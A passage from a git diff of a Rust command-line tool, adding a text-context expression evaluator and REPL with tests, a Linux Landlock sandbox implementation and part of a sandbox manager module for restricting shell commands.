eval_expr_internal(ctx, code) +} + +fn eval_expr_internal(ctx: &RlmContext, code: &str) -> Result { + // Simple expression evaluator for RLM + // Supports: len(ctx), lines(start, end), search("pattern"), peek(start, end), chunk(size) + let code = code.trim(); + + if code == "len(ctx)" || code == "len" { + return Ok(format!("{}", ctx.char_count)); + } + + if code == "line_count" || code == "lines" { + return Ok(format!("{}", ctx.line_count)); + } + + if code.starts_with("peek(") && code.ends_with(')') { + let args = &code[5..code.len() - 1]; + let parts: Vec<&str> = args.split(',').map(str::trim).collect(); + let start: usize = parts.first().and_then(|s| s.parse().ok()).unwrap_or(0); + let end: Option = parts.get(1).and_then(|s| s.parse().ok()); + return Ok(ctx.peek(start, end).to_string()); + } + + if code.starts_with("lines(") && code.ends_with(')') { + let args = &code[6..code.len() - 1]; + let parts: Vec<&str> = args.split(',').map(str::trim).collect(); + let start_line = parse_line_arg(parts.first(), 1); + let end_line = parse_line_arg_opt(parts.get(1).copied()); + let lines = format_lines(ctx, start_line, end_line); + return Ok(lines); + } + + if code.starts_with("search(") && code.ends_with(')') { + let pattern = &code[7..code.len() - 1].trim_matches('"').trim_matches('\''); + let results = ctx.search(pattern, 2, 20)?; + if results.is_empty() { + return Ok("No matches found.".to_string()); + } + let mut output = Vec::new(); + for result in results { + output.push(format!("Line {}: {}", result.line_num, result.match_line)); + } + return Ok(output.join("\n")); + } + + if code.starts_with("chunk(") && code.ends_with(')') { + let args = &code[6..code.len() - 1]; + let parts: Vec<&str> = args.split(',').map(str::trim).collect(); + let size: usize = parts.first().and_then(|s| s.parse().ok()).unwrap_or(2000); + let overlap: usize = parts.get(1).and_then(|s| s.parse().ok()).unwrap_or(200); + let chunks = ctx.chunk(size, overlap); + let output: Vec = chunks + .iter() + .map(|c| { + format!( + "Chunk {}: chars {}..{} - {}", + c.index, + c.start_char, + c.end_char, + &c.preview[..50.min(c.preview.len())] + ) + }) + .collect(); + return Ok(output.join("\n")); + } + + if code.starts_with("chunk_sections(") && code.ends_with(')') { + let args = &code[15..code.len() - 1]; + let size: usize = args.trim().parse().unwrap_or(20_000); + let chunks = ctx.chunk_sections(size); + let output: Vec = chunks + .iter() + .map(|c| { + format!( + "Section {}: chars {}..{} - {}", + c.index, + c.start_char, + c.end_char, + &c.preview[..50.min(c.preview.len())] + ) + }) + .collect(); + return Ok(output.join("\n")); + } + + if code.starts_with("chunk_lines(") && code.ends_with(')') { + let args = &code[12..code.len() - 1]; + let size: usize = args.trim().parse().unwrap_or(200); + let chunks = ctx.chunk_lines(size); + let output: Vec = chunks + .iter() + .map(|c| { + format!( + "Lines {}: chars {}..{} - {}", + c.index, + c.start_char, + c.end_char, + &c.preview[..50.min(c.preview.len())] + ) + }) + .collect(); + return Ok(output.join("\n")); + } + + if code.starts_with("chunk_auto(") && code.ends_with(')') { + let args = &code[11..code.len() - 1]; + let size: usize = args.trim().parse().unwrap_or(20_000); + let chunks = ctx.chunk_auto(size); + let output: Vec = chunks + .iter() + .map(|c| { + format!( + "Auto {}: chars {}..{} - {}", + c.index, + c.start_char, + c.end_char, + &c.preview[..50.min(c.preview.len())] + ) + }) + .collect(); + return Ok(output.join("\n")); + } + + if code == "head" || code == "head()" { + return Ok(format_lines(ctx, 1, Some(10))); + } + + if code == "tail" || code == "tail()" { + let start_line = ctx.line_count.saturating_sub(9).max(1); + return Ok(format_lines(ctx, start_line, None)); + } + + anyhow::bail!( + "Failed to evaluate expression: unknown expression '{code}'. Supported: len, line_count, peek(start, end), lines(start, end), search(pattern), chunk(size, overlap), chunk_sections(max_chars), chunk_lines(max_lines), chunk_auto(max_chars), vars, get(name), set(name, value), append(name, value), del(name), clear_vars, head, tail" + ) +} + +fn parse_line_arg(input: Option<&&str>, default: usize) -> usize { + input + .and_then(|s| s.parse::().ok()) + .unwrap_or(default) + .max(1) +} + +fn parse_line_arg_opt(input: Option<&str>) -> Option { + let value = input.and_then(|s| s.parse::().ok())?; + Some(value.max(1)) +} + +fn parse_string_arg(arg: &str) -> String { + arg.trim().trim_matches('"').trim_matches('\'').to_string() +} + +fn parse_two_args(input: &str) -> Result<(String, String)> { + let mut parts = Vec::new(); + let mut current = String::new(); + let mut in_quotes = false; + let mut quote_char = '\0'; + + for ch in input.chars() { + if (ch == '"' || ch == '\'') && (!in_quotes || ch == quote_char) { + if in_quotes && ch == quote_char { + in_quotes = false; + } else if !in_quotes { + in_quotes = true; + quote_char = ch; + } + current.push(ch); + continue; + } + + if ch == ',' && !in_quotes { + parts.push(current.trim().to_string()); + current.clear(); + continue; + } + + current.push(ch); + } + + if !current.trim().is_empty() { + parts.push(current.trim().to_string()); + } + + if parts.len() < 2 { + anyhow::bail!("Expected two arguments separated by a comma"); + } + + let left = parse_string_arg(&parts[0]); + let right = parse_string_arg(&parts[1]); + Ok((left, right)) +} + +fn format_lines(ctx: &RlmContext, start_line: usize, end_line: Option) -> String { + let start_line = start_line.max(1); + let end_line = end_line.unwrap_or(ctx.line_count).max(start_line); + let start_idx = start_line.saturating_sub(1); + let end_idx = end_line.min(ctx.line_count); + let lines = ctx.lines(start_idx, Some(end_idx)); + lines + .iter() + .map(|(n, l)| format!("{n:>5} {l}")) + .collect::>() + .join("\n") +} + +fn run_repl(context_id: &str, initial_load: Option<&std::path::Path>) -> Result<()> { + println!("{}", ds_blue("DeepSeek RLM Sandbox").bold()); + println!("Recursive Language Model - Local REPL Environment"); + println!("Type expressions or /help for commands.\n"); + + // Detect and display system resources + let resources = SystemResources::detect(); + resources.print_info(); + println!(); + + let mut session = RlmSession::default(); + + // Load initial file if provided + if let Some(path) = initial_load { + let content = fs::read_to_string(path) + .with_context(|| format!("Failed to read file: {}", path.display()))?; + let source = path.to_string_lossy().to_string(); + session.load_context(context_id, content, Some(source)); + + let ctx = session + .get_context(context_id) + .expect("context should exist after load_context"); + println!("{}", ds_aqua("Context loaded!")); + println!(" Lines: {} | Chars: {}\n", ctx.line_count, ctx.char_count); + } + + let mut editor = Editor::<(), DefaultHistory>::new()?; + let history_path = dirs::home_dir() + .map(|h| h.join(".deepseek").join("rlm_history")) + .unwrap_or_default(); + let _ = editor.load_history(&history_path); + + loop { + let prompt = format!("{}> ", ds_blue("rlm")); + match editor.readline(&prompt) { + Ok(line) => { + let input = line.trim(); + if input.is_empty() { + continue; + } + editor.add_history_entry(input)?; + + if input == "/exit" || input == "/quit" || input == "/q" { + break; + } + + if input == "/help" { + print_repl_help(); + continue; + } + + if input == "/status" { + print_status(&session); + continue; + } + + if let Some(rest) = input.strip_prefix("/load ") { + let path = Path::new(rest.trim()); + match fs::read_to_string(path) { + Ok(content) => { + let source = path.to_string_lossy().to_string(); + session.load_context(context_id, content, Some(source)); + let ctx = session + .get_context(context_id) + .expect("context should exist after load_context"); + println!("{}", ds_aqua("Loaded!")); + println!(" Lines: {} | Chars: {}", ctx.line_count, ctx.char_count); + } + Err(e) => { + println!("{}: {}", ds_red("Error"), e); + } + } + continue; + } + + if let Some(rest) = input.strip_prefix("/save ") { + let path = Path::new(rest.trim()); + let json = serde_json::to_string_pretty(&session)?; + fs::write(path, json)?; + println!("Session saved to {}", path.display()); + continue; + } + + // Execute expression + if let Some(ctx) = session.get_context(context_id) { + match eval_expr(ctx, input) { + Ok(result) => println!("{result}"), + Err(e) => println!("{}: {}", ds_red("Error"), e), + } + } else { + println!("{}: No context loaded. Use /load ", ds_sky("Error")); + } + } + Err(ReadlineError::Interrupted) => {} + Err(ReadlineError::Eof) => break, + Err(err) => { + println!("{}: {}", ds_red("Error"), err); + break; + } + } + } + + let _ = editor.save_history(&history_path); + Ok(()) +} + +fn print_repl_help() { + println!("{}", ds_blue("RLM Sandbox Commands").bold()); + println!(); + println!(" /load Load a file into context"); + println!(" /save Save session to file"); + println!(" /status Show session status"); + println!(" /help Show this help"); + println!(" /exit Exit REPL"); + println!(); + println!("{}", ds_blue("Expressions").bold()); + println!(); + println!(" len Character count"); + println!(" line_count Line count"); + println!(" head First 10 lines"); + println!(" tail Last 10 lines"); + println!(" peek(s, e) Characters from s to e"); + println!(" lines(s, e) Lines from s to e"); + println!(" search(pattern) Regex search"); + println!(" chunk(size, overlap) Split into chunks"); + println!(" chunk_sections(max) Chunk by headings/paragraphs"); + println!(" chunk_lines(max) Chunk by line count"); + println!(" chunk_auto(max) Chunk by headings + paragraphs + code fences"); +} + +fn print_status(session: &RlmSession) { + println!("{}", ds_blue("Session Status").bold()); + println!(" Active context: {}", session.active_context); + println!(" Loaded contexts: {}", session.contexts.len()); + for (id, ctx) in &session.contexts { + println!( + " {}: {} lines, {} chars", + id, ctx.line_count, ctx.char_count + ); + if let Some(ref source) = ctx.source_path { + println!(" Source: {source}"); + } + } +} + +fn ds_blue(text: &str) -> ColoredString { + let (r, g, b) = palette::DEEPSEEK_BLUE_RGB; + text.truecolor(r, g, b) +} + +fn ds_sky(text: &str) -> ColoredString { + let (r, g, b) = palette::DEEPSEEK_SKY_RGB; + text.truecolor(r, g, b) +} + +fn ds_aqua(text: &str) -> ColoredString { + let (r, g, b) = palette::DEEPSEEK_SKY_RGB; + text.truecolor(r, g, b) +} + +fn ds_red(text: &str) -> ColoredString { + let (r, g, b) = palette::DEEPSEEK_RED_RGB; + text.truecolor(r, g, b) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::io::Write as _; + use tempfile::NamedTempFile; + + fn format_lines(start: usize, end: usize) -> String { + (start..=end) + .map(|i| format!("{i:>5} line {i}")) + .collect::>() + .join("\n") + } + + #[test] + fn rlm_exec_len_head_tail_lines() -> Result<()> { + let content = (1..=15) + .map(|i| format!("line {i}")) + .collect::>() + .join("\n"); + let ctx = RlmContext::new("test", content, None); + + let len_output = eval_expr(&ctx, "len")?; + assert_eq!(len_output, ctx.char_count.to_string()); + + let head_output = eval_expr(&ctx, "head")?; + assert_eq!(head_output, format_lines(1, 10)); + + let tail_output = eval_expr(&ctx, "tail")?; + assert_eq!(tail_output, format_lines(6, 15)); + + let lines_output = eval_expr(&ctx, "lines(1, 10)")?; + assert_eq!(lines_output, format_lines(1, 10)); + + Ok(()) + } + + #[test] + fn rlm_load_file_populates_session() -> Result<()> { + let mut file = NamedTempFile::new()?; + writeln!(file, "alpha")?; + writeln!(file, "beta")?; + + let mut session = RlmSession::default(); + let (line_count, char_count) = session.load_file("ctx", file.path())?; + + assert_eq!(session.active_context, "ctx"); + assert_eq!(line_count, 2); + assert_eq!(char_count, "alpha\nbeta\n".len()); + + Ok(()) + } + + #[test] + fn rlm_variables_set_get_append() -> Result<()> { + let content = "line 1\nline 2\n".to_string(); + let mut ctx = RlmContext::new("test", content, None); + + let _ = eval_expr_mut(&mut ctx, "set(\"answer\", \"alpha\")")?; + assert_eq!(ctx.get_var("answer"), Some("alpha")); + + let _ = eval_expr_mut(&mut ctx, "append(\"answer\", \"beta\")")?; + let value = ctx.get_var("answer").unwrap_or(""); + assert!(value.contains("alpha")); + assert!(value.contains("beta")); + + let vars = eval_expr_mut(&mut ctx, "vars()")?; + assert!(vars.contains("answer")); + + Ok(()) + } + + #[test] + fn rlm_chunk_sections_splits_on_headings() { + let content = "# Title\nalpha\n\n## Section\nbeta\n\npara".to_string(); + let ctx = RlmContext::new("test", content, None); + let chunks = ctx.chunk_sections(20); + assert!(!chunks.is_empty()); + } + + #[test] + fn rlm_chunk_auto_splits_on_paragraphs_and_fences() { + let content = "# Title\nalpha\n\n```rust\ncode\n```\n\nbeta".to_string(); + let ctx = RlmContext::new("test", content, None); + let chunks = ctx.chunk_auto(20); + assert!(chunks.len() >= 2); + assert!(chunks.iter().all(|chunk| !chunk.preview.is_empty())); + } +} diff --git a/src/sandbox/landlock.rs b/src/sandbox/landlock.rs new file mode 100644 index 00000000..7670d65b --- /dev/null +++ b/src/sandbox/landlock.rs @@ -0,0 +1,344 @@ +//! Linux Landlock sandbox implementation. +//! +//! Landlock is a security mechanism introduced in Linux kernel 5.13 that allows +//! processes to restrict their own access rights. Unlike Seatbelt on macOS which +//! uses an external sandbox-exec wrapper, Landlock applies restrictions directly +//! to the current process. +//! +//! # Requirements +//! +//! - Linux kernel 5.13 or later with Landlock enabled +//! - The kernel must be compiled with `CONFIG_SECURITY_LANDLOCK=y` +//! +//! # How it works +//! +//! 1. Create a landlock ruleset with desired restrictions +//! 2. Add rules to allow specific file paths +//! 3. Restrict the process using the ruleset +//! +//! Note: Once restricted, the process cannot gain more privileges. + +use super::{CommandSpec, SandboxPolicy}; +use std::ffi::CString; +use std::path::Path; + +/// Check if Landlock is available on this system. +pub fn is_available() -> bool { + // Check if the landlock syscall is available + #[cfg(target_os = "linux")] + { + // Try to create a minimal ruleset to test availability + // Landlock ABI version check + // Safety: syscall uses a null ruleset pointer for ABI probing and does not dereference it. + unsafe { + let result = libc::syscall( + libc::SYS_landlock_create_ruleset, + std::ptr::null::(), + 0usize, + LANDLOCK_CREATE_RULESET_VERSION, + ); + result >= 0 + } + } + + #[cfg(not(target_os = "linux"))] + { + false + } +} + +/// Get the Landlock ABI version supported by the kernel. +#[cfg(target_os = "linux")] +pub fn get_abi_version() -> Option { + // Safety: syscall uses a null ruleset pointer for ABI probing and does not dereference it. + unsafe { + let result = libc::syscall( + libc::SYS_landlock_create_ruleset, + std::ptr::null::(), + 0usize, + LANDLOCK_CREATE_RULESET_VERSION, + ); + if result >= 0 { + i32::try_from(result).ok() + } else { + None + } + } +} + +// Landlock syscall constants (not yet in libc crate) +#[cfg(target_os = "linux")] +const LANDLOCK_CREATE_RULESET_VERSION: u32 = 1 << 0; + +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_EXECUTE: u64 = 1 << 0; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_WRITE_FILE: u64 = 1 << 1; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_READ_FILE: u64 = 1 << 2; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_READ_DIR: u64 = 1 << 3; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_REMOVE_DIR: u64 = 1 << 4; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_REMOVE_FILE: u64 = 1 << 5; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_MAKE_CHAR: u64 = 1 << 6; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_MAKE_DIR: u64 = 1 << 7; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_MAKE_REG: u64 = 1 << 8; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_MAKE_SOCK: u64 = 1 << 9; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_MAKE_FIFO: u64 = 1 << 10; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_MAKE_BLOCK: u64 = 1 << 11; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_MAKE_SYM: u64 = 1 << 12; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_REFER: u64 = 1 << 13; +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_TRUNCATE: u64 = 1 << 14; + +// Combinations +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_READ: u64 = LANDLOCK_ACCESS_FS_READ_FILE | LANDLOCK_ACCESS_FS_READ_DIR; + +#[cfg(target_os = "linux")] +const LANDLOCK_ACCESS_FS_WRITE: u64 = LANDLOCK_ACCESS_FS_WRITE_FILE + | LANDLOCK_ACCESS_FS_REMOVE_DIR + | LANDLOCK_ACCESS_FS_REMOVE_FILE + | LANDLOCK_ACCESS_FS_MAKE_DIR + | LANDLOCK_ACCESS_FS_MAKE_REG + | LANDLOCK_ACCESS_FS_MAKE_SYM + | LANDLOCK_ACCESS_FS_TRUNCATE; + +/// Landlock ruleset attribute structure +#[cfg(target_os = "linux")] +#[repr(C)] +struct LandlockRulesetAttr { + handled_access_fs: u64, +} + +/// Landlock path beneath attribute structure +#[cfg(target_os = "linux")] +#[repr(C)] +struct LandlockPathBeneathAttr { + allowed_access: u64, + parent_fd: i32, +} + +/// Rule type constants +#[cfg(target_os = "linux")] +const LANDLOCK_RULE_PATH_BENEATH: u32 = 1; + +/// A configured Landlock sandbox +#[cfg(target_os = "linux")] +pub struct LandlockSandbox { + ruleset_fd: i32, + policy: SandboxPolicy, +} + +#[cfg(target_os = "linux")] +impl LandlockSandbox { + /// Create a new Landlock sandbox from policy + pub fn from_policy(policy: &SandboxPolicy) -> std::io::Result { + // Determine what filesystem access to handle (restrict) + let handled_access = + LANDLOCK_ACCESS_FS_EXECUTE | LANDLOCK_ACCESS_FS_READ | LANDLOCK_ACCESS_FS_WRITE; + + let attr = LandlockRulesetAttr { + handled_access_fs: handled_access, + }; + + // Create the ruleset + // Safety: `attr` is a valid pointer for the syscall duration and size is correct. + let ruleset_fd = unsafe { + libc::syscall( + libc::SYS_landlock_create_ruleset, + &raw const attr, + std::mem::size_of::(), + 0u32, + ) + }; + + if ruleset_fd < 0 { + return Err(std::io::Error::last_os_error()); + } + + let ruleset_fd = i32::try_from(ruleset_fd).map_err(|_| { + std::io::Error::other("Failed to create Landlock ruleset: file descriptor out of range") + })?; + + Ok(Self { + ruleset_fd, + policy: policy.clone(), + }) + } + + /// Add a read-only rule for a path + pub fn allow_read(&self, path: &Path) -> std::io::Result<()> { + self.add_rule(path, LANDLOCK_ACCESS_FS_READ | LANDLOCK_ACCESS_FS_EXECUTE) + } + + /// Add a read-write rule for a path + pub fn allow_write(&self, path: &Path) -> std::io::Result<()> { + self.add_rule( + path, + LANDLOCK_ACCESS_FS_READ | LANDLOCK_ACCESS_FS_WRITE | LANDLOCK_ACCESS_FS_EXECUTE, + ) + } + + /// Add a path rule to the ruleset + fn add_rule(&self, path: &Path, access: u64) -> std::io::Result<()> { + let path_cstr = CString::new(path.to_string_lossy().as_bytes()) + .map_err(|_| std::io::Error::new(std::io::ErrorKind::InvalidInput, "Invalid path"))?; + + // Open the path to get a file descriptor + // Safety: `path_cstr` is NUL-terminated and lives for the duration of the call. + let fd = unsafe { libc::open(path_cstr.as_ptr(), libc::O_PATH | libc::O_CLOEXEC) }; + + if fd < 0 { + // Path doesn't exist, skip this rule + return Ok(()); + } + + let attr = LandlockPathBeneathAttr { + allowed_access: access, + parent_fd: fd, + }; + + // Safety: `attr` is a valid pointer for the syscall duration. + let result = unsafe { + libc::syscall( + libc::SYS_landlock_add_rule, + self.ruleset_fd, + LANDLOCK_RULE_PATH_BENEATH, + &raw const attr, + 0u32, + ) + }; + + // Safety: `fd` is a valid file descriptor from libc::open. + unsafe { + libc::close(fd); + } + + if result < 0 { + return Err(std::io::Error::last_os_error()); + } + + Ok(()) + } + + /// Apply the sandbox to the current process + /// + /// WARNING: This is irreversible for the current process! + pub fn apply(&self) -> std::io::Result<()> { + // First, drop privileges using prctl + // Safety: prctl call uses constant arguments and does not access memory. + let result = unsafe { libc::prctl(libc::PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) }; + if result < 0 { + return Err(std::io::Error::last_os_error()); + } + + // Now restrict the process + // Safety: syscall uses a valid ruleset fd and no pointer arguments. + let result = + unsafe { libc::syscall(libc::SYS_landlock_restrict_self, self.ruleset_fd, 0u32) }; + + if result < 0 { + return Err(std::io::Error::last_os_error()); + } + + Ok(()) + } +} + +#[cfg(target_os = "linux")] +impl Drop for LandlockSandbox { + fn drop(&mut self) { + // Safety: `ruleset_fd` is a valid descriptor created by landlock. + unsafe { + libc::close(self.ruleset_fd); + } + } +} + +/// Create a helper script that sets up Landlock before running the command. +/// +/// Since Landlock restricts the current process, we need a helper that: +/// 1. Sets up the Landlock ruleset +/// 2. Applies the restrictions +/// 3. Execs the target command +/// +/// This returns the command to run with the helper. +#[cfg(target_os = "linux")] +pub fn create_landlock_wrapper( + spec: &CommandSpec, + _writable_paths: &[std::path::PathBuf], + _readable_paths: &[std::path::PathBuf], +) -> Vec { + // For simplicity, we'll use a shell wrapper that applies Landlock via a helper binary + // In production, this would be a compiled binary that's part of the CLI + + // For now, just return the original command without sandboxing + // A full implementation would include a compiled landlock-helper binary + let mut cmd = vec![spec.program.clone()]; + cmd.extend(spec.args.clone()); + cmd +} + +/// Detect if a failure was caused by Landlock denial +#[cfg(target_os = "linux")] +pub fn detect_denial(exit_code: i32, stderr: &str) -> bool { + if exit_code == 0 { + return false; + } + + // Landlock denials typically result in EACCES or EPERM + stderr.contains("Permission denied") + || stderr.contains("Operation not permitted") + || stderr.contains("EACCES") + || stderr.contains("EPERM") +} + +// Stub implementations for non-Linux platforms +#[cfg(not(target_os = "linux"))] +pub fn get_abi_version() -> Option { + None +} + +#[cfg(not(target_os = "linux"))] +pub fn detect_denial(_exit_code: i32, _stderr: &str) -> bool { + false +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_is_available() { + // This test will pass regardless of platform + let _ = is_available(); + } + + #[test] + #[cfg(target_os = "linux")] + fn test_get_abi_version() { + // May or may not be available depending on kernel + let _ = get_abi_version(); + } + + #[test] + fn test_detect_denial() { + #[cfg(target_os = "linux")] + { + assert!(detect_denial(1, "Permission denied")); + assert!(detect_denial(1, "Operation not permitted")); + assert!(!detect_denial(0, "Success")); + } + } +} diff --git a/src/sandbox/mod.rs b/src/sandbox/mod.rs new file mode 100644 index 00000000..dda085c1 --- /dev/null +++ b/src/sandbox/mod.rs @@ -0,0 +1,579 @@ +//! Sandbox module for secure command execution. +//! NOTE: Not yet integrated into shell tool - planned security feature. + +#![allow(dead_code)] + +//! +//! This module provides sandboxing capabilities for shell commands executed by +//! deepseek-cli. Sandboxing restricts what system resources a command can access, +//! preventing accidental or malicious damage to the system. +//! +//! # Platform Support +//! +//! - **macOS**: Uses Seatbelt (sandbox-exec) for mandatory access control +//! - **Linux**: Uses Landlock (kernel 5.13+) for filesystem access control +//! - **Windows**: Falls back to no sandboxing +//! +//! # Usage +//! +//! ```rust,ignore +//! use sandbox::{SandboxManager, CommandSpec, SandboxPolicy}; +//! +//! let manager = SandboxManager::new(); +//! let spec = CommandSpec::shell("ls -la", PathBuf::from("."), Duration::from_secs(30)) +//! .with_policy(SandboxPolicy::default()); +//! +//! let exec_env = manager.prepare(&spec); +//! // exec_env.command now contains the sandboxed command +//! ``` + +pub mod policy; + +#[cfg(target_os = "macos")] +pub mod seatbelt; + +#[cfg(target_os = "linux")] +pub mod landlock; + +use std::collections::HashMap; +use std::path::PathBuf; +use std::time::Duration; + +pub use policy::SandboxPolicy; + +/// Specification for a command to be executed, potentially within a sandbox. +/// +/// This struct captures all the information needed to execute a command: +/// the program and arguments, working directory, environment variables, +/// timeout, and sandbox policy. +#[derive(Debug, Clone)] +pub struct CommandSpec { + /// The program to execute (e.g., "sh", "python", "cargo"). + pub program: String, + + /// Arguments to pass to the program. + pub args: Vec, + + /// Working directory for the command. + pub cwd: PathBuf, + + /// Additional environment variables to set. + pub env: HashMap, + + /// Maximum execution time before the command is killed. + pub timeout: Duration, + + /// Sandbox policy controlling resource access. + pub sandbox_policy: SandboxPolicy, + + /// Optional justification for why this command needs to run. + /// Used for logging and audit purposes. + pub justification: Option, +} + +impl CommandSpec { + /// Create a `CommandSpec` for running a shell command via the platform shell. + pub fn shell(command: &str, cwd: PathBuf, timeout: Duration) -> Self { + #[cfg(windows)] + let (program, args) = ( + "cmd".to_string(), + vec!["/C".to_string(), command.to_string()], + ); + #[cfg(not(windows))] + let (program, args) = ( + "sh".to_string(), + vec!["-c".to_string(), command.to_string()], + ); + + Self { + program, + args, + cwd, + env: HashMap::new(), + timeout, + sandbox_policy: SandboxPolicy::default(), + justification: None, + } + } + + /// Create a `CommandSpec` for running a program directly. + pub fn program(program: &str, args: Vec, cwd: PathBuf, timeout: Duration) -> Self { + Self { + program: program.to_string(), + args, + cwd, + env: HashMap::new(), + timeout, + sandbox_policy: SandboxPolicy::default(), + justification: None, + } + } + + /// Set the sandbox policy for this command. + pub fn with_policy(mut self, policy: SandboxPolicy) -> Self { + self.sandbox_policy = policy; + self + } + + /// Add environment variables for this command. + pub fn with_env(mut self, env: HashMap) -> Self { + self.env = env; + self + } + + /// Add a single environment variable. + pub fn with_env_var(mut self, key: &str, value: &str) -> Self { + self.env.insert(key.to_string(), value.to_string()); + self + } + + /// Set a justification for this command (for logging/audit). + pub fn with_justification(mut self, justification: &str) -> Self { + self.justification = Some(justification.to_string()); + self + } + + /// Get the original command as a single string (for display). + pub fn display_command(&self) -> String { + if self.program == "sh" && self.args.len() == 2 && self.args[0] == "-c" { + // For shell commands, show the actual command + self.args[1].clone() + } else if self.program.eq_ignore_ascii_case("cmd") + && self.args.len() == 2 + && self.args[0].eq_ignore_ascii_case("/C") + { + self.args[1].clone() + } else { + // For other commands, join program and args + let mut parts = vec![self.program.clone()]; + parts.extend(self.args.clone()); + parts.join(" ") + } + } +} + +/// The type of sandbox being used for execution. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub enum SandboxType { + /// No sandboxing - command runs with full permissions. + #[default] + None, + + /// macOS Seatbelt (sandbox-exec) sandboxing. + #[cfg(target_os = "macos")] + MacosSeatbelt, + + /// Linux Landlock sandboxing (kernel 5.13+). + #[cfg(target_os = "linux")] + LinuxLandlock, +} + +impl std::fmt::Display for SandboxType { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + SandboxType::None => write!(f, "none"), + #[cfg(target_os = "macos")] + SandboxType::MacosSeatbelt => write!(f, "macos-seatbelt"), + #[cfg(target_os = "linux")] + SandboxType::LinuxLandlock => write!(f, "linux-landlock"), + } + } +} + +/// The execution environment after sandbox transformation. +/// +/// This contains the actual command to run (which may include sandbox wrapper +/// commands) and all necessary environment configuration. +#[derive(Debug)] +pub struct ExecEnv { + /// The full command to execute (may include sandbox wrapper). + pub command: Vec, + + /// Working directory for execution. + pub cwd: PathBuf, + + /// Environment variables to set. + pub env: HashMap, + + /// Timeout for the command. + pub timeout: Duration, + + /// The type of sandbox being used. + pub sandbox_type: SandboxType, + + /// The original policy (for reference). + pub policy: SandboxPolicy, +} + +impl ExecEnv { + /// Get the program to execute (first element of command). + pub fn program(&self) -> &str { + self.command + .first() + .map_or("sh", std::string::String::as_str) + } + + /// Get the arguments (all elements after the first). + pub fn args(&self) -> &[String] { + if self.command.len() > 1 { + &self.command[1..] + } else { + &[] + } + } + + /// Check if this execution is sandboxed. + pub fn is_sandboxed(&self) -> bool { + !matches!(self.sandbox_type, SandboxType::None) + } +} + +/// Detect what sandbox technology is available on the current platform. +pub fn get_platform_sandbox() -> Option { + #[cfg(target_os = "macos")] + { + if seatbelt::is_available() { + return Some(SandboxType::MacosSeatbelt); + } + } + + #[cfg(target_os = "linux")] + { + if landlock::is_available() { + return Some(SandboxType::LinuxLandlock); + } + } + + None +} + +/// Check if sandboxing is available on this platform. +pub fn is_sandbox_available() -> bool { + get_platform_sandbox().is_some() +} + +/// Manager for sandbox operations. +/// +/// The `SandboxManager` is responsible for: +/// - Detecting available sandbox technologies +/// - Transforming `CommandSpecs` into sandboxed `ExecEnvs` +/// - Detecting sandbox denials from command output +#[derive(Debug, Default)] +pub struct SandboxManager { + /// Cached sandbox availability check. + sandbox_available: Option, + + /// Force a specific sandbox type (for testing). + #[allow(dead_code)] + forced_sandbox: Option, +} + +impl SandboxManager { + /// Create a new `SandboxManager`. + pub fn new() -> Self { + Self { + sandbox_available: None, + forced_sandbox: None, + } + } + + /// Check if sandboxing is available. + pub fn is_available(&mut self) -> bool { + if let Some(available) = self.sandbox_available { + return available; + } + + let available = is_sandbox_available(); + self.sandbox_available = Some(available); + available + } + + /// Select the appropriate sandbox type for the given policy. + pub fn select_sandbox(&self, policy: &SandboxPolicy) -> SandboxType { + // If the policy doesn't want sandboxing, return None + if !policy.should_sandbox() { + return SandboxType::None; + } + + // Check for forced sandbox (testing) + if let Some(forced) = self.forced_sandbox { + return forced; + } + + // Use platform default + get_platform_sandbox().unwrap_or(SandboxType::None) + } + + /// Transform a `CommandSpec` into a sandboxed `ExecEnv`. + /// + /// This is the main entry point for sandboxing. It takes a command + /// specification and returns the actual command to run, which may + /// include sandbox wrapper commands. + pub fn prepare(&self, spec: &CommandSpec) -> ExecEnv { + let sandbox_type = self.select_sandbox(&spec.sandbox_policy); + + match sandbox_type { + SandboxType::None => Self::prepare_unsandboxed(spec), + + #[cfg(target_os = "macos")] + SandboxType::MacosSeatbelt => Self::prepare_seatbelt(spec), + + #[cfg(target_os = "linux")] + SandboxType::LinuxLandlock => Self::prepare_landlock(spec), + } + } + + /// Prepare an unsandboxed execution environment. + fn prepare_unsandboxed(spec: &CommandSpec) -> ExecEnv { + let mut command = vec![spec.program.clone()]; + command.extend(spec.args.clone()); + + ExecEnv { + command, + cwd: spec.cwd.clone(), + env: spec.env.clone(), + timeout: spec.timeout, + sandbox_type: SandboxType::None, + policy: spec.sandbox_policy.clone(), + } + } + + /// Prepare a Seatbelt-sandboxed execution environment (macOS). + #[cfg(target_os = "macos")] + fn prepare_seatbelt(spec: &CommandSpec) -> ExecEnv { + // Build the original command + let mut original_command = vec![spec.program.clone()]; + original_command.extend(spec.args.clone()); + + // Generate sandbox-exec arguments + let seatbelt_args = + seatbelt::create_seatbelt_args(original_command, &spec.sandbox_policy, &spec.cwd); + + // Prepend sandbox-exec to the command + let mut command = vec![seatbelt::SANDBOX_EXEC_PATH.to_string()]; + command.extend(seatbelt_args); + + // Add sandbox indicator to environment + let mut env = spec.env.clone(); + env.insert("DEEPSEEK_SANDBOX".to_string(), "seatbelt".to_string()); + + ExecEnv { + command, + cwd: spec.cwd.clone(), + env, + timeout: spec.timeout, + sandbox_type: SandboxType::MacosSeatbelt, + policy: spec.sandbox_policy.clone(), + } + } + + /// Prepare a 